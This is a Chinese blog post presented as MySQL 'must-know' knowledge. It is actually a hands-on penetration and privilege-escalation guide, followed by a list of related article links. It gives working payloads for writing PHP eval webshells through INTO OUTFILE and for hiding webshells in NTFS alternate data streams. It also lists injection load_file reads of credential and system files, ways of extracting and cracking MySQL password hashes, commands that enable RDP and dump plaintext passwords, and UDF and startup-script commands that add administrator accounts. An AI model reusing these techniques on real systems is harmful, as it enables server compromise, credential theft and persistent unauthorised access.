MySQL“必知必会”的知识点

From 2017-02-16 陈小兵 51CTO博客

MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。

SQL 语言是访问数据库最常用的标准化语言。MySQL 软件采用了 GPL(GNU 通用公共许可证),它分为免费版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。由于其免费版的性能卓越,搭配 PHP 和 Apache 可组成良好的开发环境,MySQL 分为商业版本(MySQL Enterprise Edition 和 MySQL Cluster CGE )和 GPL 版本(MySQL Community Edition)(开发版下载地址:https://dev.mysql.com/downloads/)。

MySQL 提权必备条件

1

服务器安装 MySQL 数据库

利用 MySQL 提权的前提就是服务器安装了 MySQL 数据库,且 MySQL 的服务没有降权,MySQL 数据库默认安装是以系统权限继承的,并且需要获取 MySQL root账号密码。

2

判断 MySQL 服务运行权限

对于 MySQL 数据库服务运行权限有很多方法,我这里主要介绍三种,一种是通过查看系统账号,也即使用“net user”命令查看系统当前账号,如果出现了 MySQL 这类用户,以为着系统可能进行了降权,一般情况都不会降权。第二种方法就是看 Mysqld 运行的 Priority 值,如图1所示。通过 aspx 的网页木马来查看 Process 信息,在图中我们可以看到系统权限的 Priority 值为“8 ”,如果Mysqld 的 Priority 值也为 8 则意味着 MySQL 是以 System 权限运行的。第三种方法是查看端口可否外联,一般情况下是不允许 root 等账号外联,外部直接连接意味着账号可能被截取和嗅探,通过本地客户端直接连接对方服务器,直接查看和操作 MySQL 数据库,可以通过扫描 3306 端口来判断是否提供对外连接。

查看 Priority 值来判断 Mysqld 服务运行权限

Mysql密码获取与破解

1

获取网站数据库账号和密码

对于 CMS 系统,一定会有一个文件定义了数据库连接的用户和密码。例如以下代码:

$db['default']['hostname'] = 'localhost';

$db['default']['username'] = 'root';

$db['default']['password'] = '123456';

$db['default']['database'] = 'crm';

dedecms 数据库安装的信息就是写在 data/common.inc.php,Discuz 的数据库信息就在 config/config_global_default.php、config /config_ucenter.php、config.inc.php。一般数据库配置文件都会位于 config、application、conn、db等目录,配置文件名称一般会是 conn.asp/php/aspx/jsp 等。对于 java 会在 /WEB-INF/config/config.properties 中配置,总之通过查看源代码,进行层层分析,终究会发现数据库配置文件。

对于 Linux 操作系统,除了上述方法获取 oot 账号密码外,还可以通过查看 ./root/.mysql_history、./root/.bash_history 文件查看 MySQL 操作涉及的密码。当然对于 MySQL 5.6 以下版本,由于设计 MySQL 程序时对于安全性的重视度非常低,用户密码是明文传输。

MySQL对于 binary log 中和用户密码相关的操作是不加密的。如果你向 MySQL 发送了例如 create user,grant user ... identified by 这样的携带初始明文密码的指令,那么会在 binary log 中原原本本的被还原出来,执行“mysqlbinlog binlog.000001”命令即可获取,如图4所示。

查看 binlog 日志

2

获取 MySQL 数据库 user 表

MySQL 所有设置默认都保存在“C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL”中,也就是安装程序的 data 目录下,有关用户一共有三个文件即 user.frm、user.MYD 和 user.MYI,MySQL 数据库用户密码都保存在user.MYD 文件中,包括 root 用户和其他用户的密码。

在有权限的情况下,我们可以将 User.frm、user.myd 和 User.myi 三个文件下载到本地,通过本地的 MySQL 环境直接读取 user 表中的数据。当然也可使用文本编辑器将 user.MYD 打开将 root 账号的密码复制出来到到 cmd5.com 进行查询和破解。对于 MySQL 数据库密码如果通过 cmd5.com 等网站不能查询到密码则需要自己手动破解,有关MySQL 数据库密码手动破解,请查阅下一章。

3

MySQL 密码查询

可以通过以下查询语句直接查询 MySQL 数据库中的所有用户和密码,如图2所示。

select user,password from mysql.user;

select user,password from mysql.user where user ='root';

4

MySQL 密码加密算法

MySQL 实际上是使用了两次 SHA1 夹杂一次 unhex 的方式对用户密码进行了加密。具体的算法可以用公式表示:password_str = concat('*', sha1(unhex(sha1(password)))),可以通过查询语句进行验证,查询结果如图3所示。

select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword'))));

图3 MySQL 数据库加密算法

MySQL 获取 webshell

MySQL root 账号网站获取 webshell 具备的条件:

1. 知道站点物理路径,网站物理途径可以通过 phpinfo 函数、登录后台查看系统属性、文件出错信息、查看网站源代码以及路径猜测等方法获取。

2. 有足够大的权限,最好是 root 账号权限或者具备 root 权限的其它账号,可以用 select user,password from mysql.user 进行测试。

3. magic_quotes_gpc()=OFF。对于 PHP magic_quotes_gpc=on 的情况,可以不对输入和输出数据库的字符串数据作 addslashes() 和 stripslashes() 的操作,数据也会正常显示。 对于 PHP magic_quotes_gpc=off 的情况必须使用 addslashes() 对输入数据进行处理,但并不需要使用 stripslashes() 格式化输出,因为 addslashes() 并未将反斜杠一起写入数据库,只是帮助 MySQL 完成了 SQL 语句的执行。

4. 直接导出 webshell,执行下面语句

Select '<?php eval($_POST[cmd])?>' into outfile '物理路径';

and 1=2 union all select 一句话HEX值 into outfile '路径';

也可以通过创建表来直接完成,其中 d:/www/exehack.php 为 webshell 的名称和路径:

CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL );

INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>');

SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php';

DROP TABLE IF EXISTS `darkmoon`;

5. 有些情况下掌握了 MSSQL 数据库口令,但服务器环境是 Windows2008,web 环境是 PHP,则可以通过 SQLTOOLs 工具,直接连接命令,通过以下命令写入shell:

echo ^<?php @eval(request[xxx])? ^^>^ >c:\web\www\shell.php

MySQL 渗透有用的一些技巧总结

1

常见的有助于渗透到 MySQL 函数

在对 MySQL 数据库架构的渗透中,MySQL 内置的函数 DATABASE()、USER()、SYSTEM_USER()、SESSION_USER() 和 CURRENT_USER() 可以用来获取一些系统的信息,而 load_file() 作用是读入文件,并将文件内容作为一个字符串返回,这在渗透中尤其有用,例如发现一个 php 的 SQL 注入点,则可以通过构造“-1 union select 1,1,1,1,load_file('c:/boot.ini')”来获取boot.ini文件的内容。

(1) 一些常见的系统配置文件

c:/boot.ini //查看系统版本

c:/windows/php.ini //php配置信息

c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码

c:/winnt/php.ini

c:/winnt/my.ini

c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码

c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码

c:\Program Files\Serv-U\ServUDaemon.ini

c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置

c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码

c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此

c:\Program Files\RhinoSoft.com\ServUDaemon.exe

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件

//存储了pcAnywhere的登陆密码

c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件

c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.

c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机

d:\APACHE\Apache2\conf\httpd.conf

C:\Program Files\mysql\my.ini

C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX 下:

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件

/usr/local/apache2/conf/httpd.conf

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/usr/local/app/php5/lib/php.ini //PHP相关设置

/etc/sysconfig/iptables //从中得到防火墙规则策略

/etc/httpd/conf/httpd.conf // apache配置文件

/etc/rsyncd.conf //同步程序配置文件

/etc/my.cnf //mysql的配置文件

/etc/redhat-release //系统版本

/etc/issue

/etc/issue.net

/usr/local/app/php5/lib/php.ini //PHP相关设置

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/sysconfig/iptables 查看防火墙策略

load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

(2) 直接读取配置文件

SELECT LOAD_FILE('/etc/passwd' )

SELECT LOAD_FILE('/etc/issues' )

SELECT LOAD_FILE('/etc/etc/rc.local' )

SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' )

SELECT LOAD_FILE('/etc/nginx/nginx.conf' )

(3) Linux 下通过 load_file 函数读出来的数据库有可能是 hex 编码,要正常查看需要使用 NotePad 将将以上代码全部选中,然后选择插件“Converter”-“HEX-ASCII”进行转换。

2. Windows 下 MySQL 提权时无法创建目录解决办法及数据流隐藏 Webshell

NTFS 中的 ADS (交换数据流)可以建立目录,隐藏 webshell 等等。

(1) MySQL 创建目录

当 MySQL 版本较高时,自定义函数的dll需要放在mysql目录下的lib\plugin\。一般普通的脚本是没有在这个文件夹下创建文件夹的权限的。这里可以用到ads来突破:

select 'xxx' into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION';

会在 MySQL 目录下生成一个 lib 目录,这样你就可以将你的 udf 放在这个插件目录下了。

(2) 隐藏webshell

在服务器上 echo 一个数据流文件进去,比如 index.php是网页正常文件,我们可以这样子搞:

echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg

这样子就生成了一个不可见的 shell a.jpg,常规的文件管理器、type 命令,dir 命令、del 命令发现都找不出那个 a.jpg 的。我们可以在另外一个正常文件里把这个 ADS 文件 include 进去,这样子就可以正常解析我们的一句话了。

3

有用的一些技巧

(1) 3389 端口命令行下获取总结

netstat -an |find "3389" 查看3389端口是否开放

tasklist /svc | find "TermService" 获取对应TermService的PID号

netstat -ano | find '1340' 查看上面获取的PID号对应的TCP端口号

(2) Windows 2008 Server 命令行开启 3389

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1

wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v

(3) wce64 -w 命令直接获取系统明文登录密码

(4) 在 phpinfo 中查找 SCRIPT_FILENAME 关键字获取真实路径

(5) Linux 终端提示符下查看 mysql 有关信息,ps -ef|grep mysql

(6) Linux 下启动 mysql 服务:service mysqld start

(7) Linux 下查看 mysqld 是否启动:ps -el | grep mysqld

(8) 查看 mysql 在哪里:whereis mysql

(9) 查询运行文件所在路径 which mysql

(10) udf.dll提权常见函数

  • cmdshell 执行cmd;

  • downloader 下载者,到网上下载指定文件并保存到指定目录;

  • open3389 通用开3389终端服务,可指定端口(不改端口无需重启);

  • backshell 反弹Shell;

  • ProcessView 枚举系统进程;

  • KillProcess 终止指定进程;

  • regread 读注册表;

  • regwrite 写注册表;

  • shut 关机,注销,重启;

  • about 说明与帮助函数;

具体用户示例:

select cmdshell('net user iis_user 123!@#abcABC /add');

select cmdshell('net localgroup administrators iis_user /add');

select cmdshell('regedit /s d:web3389.reg');

select cmdshell('netstat -an');

4

一些常见的 MySQL 命令

(1) 连接到 mysql 服务器

mysql -h 192.168.0.1 -u root -pantian365.com antian365

(2) 查看所有数据库

show databases;

(3) 使用某个数据库

use testdatabase;

(4) 查看数据库中的所有表

show tables;

(5) 在 test 数据库下创建一个新的表

create table a (cmd text);

(6) 在表中插入内容添加用户命令

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

nsert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators 1 /add"",0) " );

(7) 查询 a 表中所有的数据

select * from a

(8) 导出数据到系统某个目录下

select * from a into outfile "c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs";

(9) 查询数据库数据路径

select @@datadir;

(10) 查看所有 dir 路径

SHOW VARIABLES WHERE Variable_Name LIKE "%dir"

(11) 查看插件路径

show variables like '%plugins%' ;

(12) 查询MySQL安装路径

select @@basedir

(13) 常用内置函数

select system_user() 查看系统用户

select current_user() 查询当前用户

select user(); 查询用户

SELECT version() 查询数据库版本

SELECT database() 查询当前连接的数据库

select @@version_compile_os 查询当前操作系统

select now(); 显示当前时间

(14) 获取表结构

desc 表名 或者show columns from 表名

(15) 删除表

drop table <表名>

参考文章:

http://www.jb51.net/hack/41493.html

http://www.pythian.com/blog/hashing-algorithm-in-mysql-password-2/

http://www.myhack58.com/Article/html/3/8/2016/75694.htm

http://www.cnblogs.com/hateislove214/archive/2010/11/05/1869889.html

MySQL“必知必会”的知识点相关推荐

  1. mysql必知必会_《MySQL必知必会》学习小结

    关于SQL,之前通过sqlzoo的题目,完成了入门,也仅仅是入门而已. 最近都在忙着投简历和找新的数据分析项目做(为了练python和面试的时候有的聊),所以SQL放了一段时间没练.目前的工作用不到, ...

  2. 《MySQL必知必会》所有SQL语句图表集合(可作为查询表使用)---已完结

    本篇文章是对<MySQL必知必会>所有语句知识点的图表集合,适合快速查询遗忘的SQL语句. 本文的脉络结构,首先先给出<MySQL必知必会>的目录和本书中用到的数据表的UML图 ...

  3. 《MySQL必知必会》[01] 基本查询

    <MySQL必知必会>(点击查看详情) 1.写在前面的话 这本书是一本MySQL的经典入门书籍,小小的一本,也受到众多网友推荐.之前自己学习的时候是啃的清华大学出版社的计算机系列教材< ...

  4. mysql必知必会_5天学完《MySQL必知必会》学习笔记之第四天

    本篇知识点 更新删除数据.创建操纵表.视图.存储过程 更新和删除数据 使用UPDATE语句更新(修改)表中的数据: 更新表中特定行(使用WHERE语句 更新表中所有行 UPDATE语句以要更新的表名开 ...

  5. MySQL必知必会总结

    <MySQL必知必会>知识点总结: 1. 选择数据库相关命令: USE crashcourse; SHOW DATABASE; SHOW TABLES; SHOW COLUMNS FROM ...

  6. 【SQL】【读书笔记】《MySQL必知必会》

    本文为<MySQL必知必会>[1]读书笔记,用于总结知识点和框架,仅供参考和交流,如有不妥请联系.由于软件版本更新,书中的一些代码已经不再适用,本文主要从SQL基本语句进行增删减.窗口函数 ...

  7. mysql字段自动计算_《MySQL必知必会》计算字段

    <MySQL必知必会>计算字段 1.1 计算字段 字段(field)基本上与列( column)的意思相同,经常互换使用,不过数据库列一般称为列,而术语字段通常用在计算字段的连接上. 客户 ...

  8. 5天学会mysql_5天学完《MySQL必知必会》学习笔记之第四天

    本篇知识点 更新删除数据.创建操纵表.视图.存储过程 更新和删除数据使用UPDATE语句更新(修改)表中的数据:更新表中特定行(使用WHERE语句 更新表中所有行 UPDATE语句以要更新的表名开始, ...

  9. 《SQL必知必会(第5版)》挑战题笔记 | 所用DBMS为Mysql,mysql workbench安装

    文章目录 一.安装 step1:mysql安装 step2:mysql workbench安装 二.下载随书资料 三.代码实战练习 2.2 检索单个列 四.MySQL知识点回顾 五.挑战题 2.9挑战 ...

最新文章

  1. 数据中台实战(四):商品分析(产品设计篇)
  2. 【企业管理】怎么把战略和规划转化为实际行动
  3. 【机器学习】创建自己的电影推荐系统
  4. 1在mysql进行定义操作系统_Mysql基础知识一
  5. C#学习笔记——25个经典问题
  6. SQL中Left Join 与Right Join 与 Inner Join 与 Full Join的区别
  7. 使用GDAL库中的RPC校正问题
  8. 阿里巴巴《rocketmq开发指南》_如何看待阿里巴巴孤尽觉得Java是世界上最好的语言?...
  9. WebHubBot 网络爬虫
  10. dubbo和zookeper使用_Dubbox与Zookeeper简介及入门小案例
  11. java环境_Java 开发环境配置
  12. Thinkpad T410i-2516A21 安装Ubuntu10.0.4记录
  13. 读书笔记5.2——《让数字说话:审计,就这么简单》:孙含晖
  14. 收藏多年的MySQL函数大全笔记,笔记一生一起走,那些日子不再有!
  15. 例题(8.3) 求一元二次方程的根 (1051)
  16. datagridvie设置行高列宽_DataGridView控件如何让行高随内容的多少变化啊?
  17. 独家 | 揭底!BiYong被爆严重用户隐私安全漏洞!
  18. 网不好,看个漫画加载半天?教你用Python批量下载网站所有漫画(附源码和视频教程)
  19. 微信出了一个新功能专治「借钱不还」
  20. 在树莓派中配置can接口

热门文章

  1. RabbitMQ SSl安全认证流程
  2. 渠道统计 和 UV统计
  3. 无线ZigBee在桥梁健康监测系统中的探究
  4. python爬取交通情况数据论文参考文献_城市轨道交通研究论文参考文献范例
  5. javaGUI 禁用输入法
  6. 如何高分通过一级建造师考试
  7. 创新工场联合创始人汪华:2013年中国移动互联网进入深水区
  8. 央美“毕业”开画展,少女画家小冰开放绘画能力为亿万人作画
  9. 【LeetCode】最近公共祖先问题
  10. 使用do-while循环结构实现:计算1~50中的倍数的数值之和并输出